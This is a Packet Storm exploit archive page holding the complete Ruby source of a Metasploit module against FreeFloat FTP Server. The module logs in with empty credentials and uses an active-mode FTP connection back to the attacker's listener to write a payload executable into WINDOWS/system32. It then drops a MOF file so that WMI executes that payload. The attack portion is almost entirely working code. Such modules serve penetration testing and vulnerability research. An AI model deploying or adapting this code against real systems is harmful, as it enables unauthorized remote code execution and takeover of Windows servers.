what you don't know can hurt you

FreeFloat FTP Server Arbitrary File Upload

FreeFloat FTP Server Arbitrary File Upload
Posted Dec 8, 2012
Authored by sinn3r, juan vazquez | Site metasploit.com

This Metasploit module abuses multiple issues in FreeFloat: 1. No credential is actually needed to login; 2. User's default path is in C:\, and this cannot be changed; 3. User can write to anywhere on the server's file system. As a result of these poor implementations, a malicious user can just log in and then upload files, and let WMI (Management Instrumentation service) to execute the payload uploaded.

tags | exploit
MD5 | b7e78216f85d094b2c82750eb517f640

FreeFloat FTP Server Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "FreeFloat FTP Server Arbitrary File Upload",
'Description' => %q{
This module abuses multiple issues in FreeFloat: 1. No credential is actually
needed to login; 2. User's default path is in C:\, and this cannot be changed;
3. User can write to anywhere on the server's file system. As a result of these
poor implementations, a malicious user can just log in and then upload files,
and let WMI (Management Instrumentation service) to execute the payload uploaded.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # Vulnerability discovery, Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['URL', 'http://metasploit.com']
],
'Platform' => 'win',
'Targets' =>
[
['FreeFloat', {}]
],
'Privileged' => true,
'DisclosureDate' => "Dec 7 2012",
'DefaultTarget' => 0))

register_options(
[
# Change the default description so this option makes sense
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
], self.class)

deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password
end


def check
connect
disconnect

if banner =~ /FreeFloat/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end


def on_client_connect(cli)
peer = "#{cli.peerhost}:#{cli.peerport}"

case @stage
when :exe
print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
cli.put(@exe)
@stage = :mof

when :mof
print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
cli.put(@mof)
end

cli.close
end


def upload(filename)
select(nil, nil, nil, 1)

peer = "#{rhost}:#{rport}"
print_status("#{peer} - Trying to upload #{::File.basename(filename)}")

conn = connect(false, datastore['VERBOSE'])

print_status("#{peer} - Sending empty login...")

res = send_user("", conn)
if not res or res !~ /331/
print_error("#{peer} - Error sending username")
return false
end

res = send_pass("", conn)
if not res or res !~ /230/
print_error("#{peer} - Error sending password")
return false
end

print_good("#{peer} - Empty authentication was successful")

# Switch to binary mode
print_status("#{peer} - Set binary mode")
send_cmd(['TYPE', 'I'], true, conn)

# Prepare active mode: Get attacker's IP and source port
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
src_port = datastore['SRVPORT'].to_i

# Prepare active mode: Convert the IP and port for active mode
src_ip = src_ip.gsub(/\./, ',')
src_port = "#{src_port/256},#{src_port.remainder(256)}"

# Set to active mode
print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)

# Tell the FTP server to download our file
send_cmd(['STOR', filename], false, conn)

disconnect(conn)
end


def exploit

exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
@exe = generate_payload_exe
@stage = :exe

begin
t = framework.threads.spawn("reqs", false) {
# Upload our malicious executable
u = upload(exe_name)
# Upload the mof file
upload(mof_name) if u
register_file_for_cleanup("#{::File.basename(exe_name)}")
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
}
super
ensure
t.kill
end
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    3 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    11 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close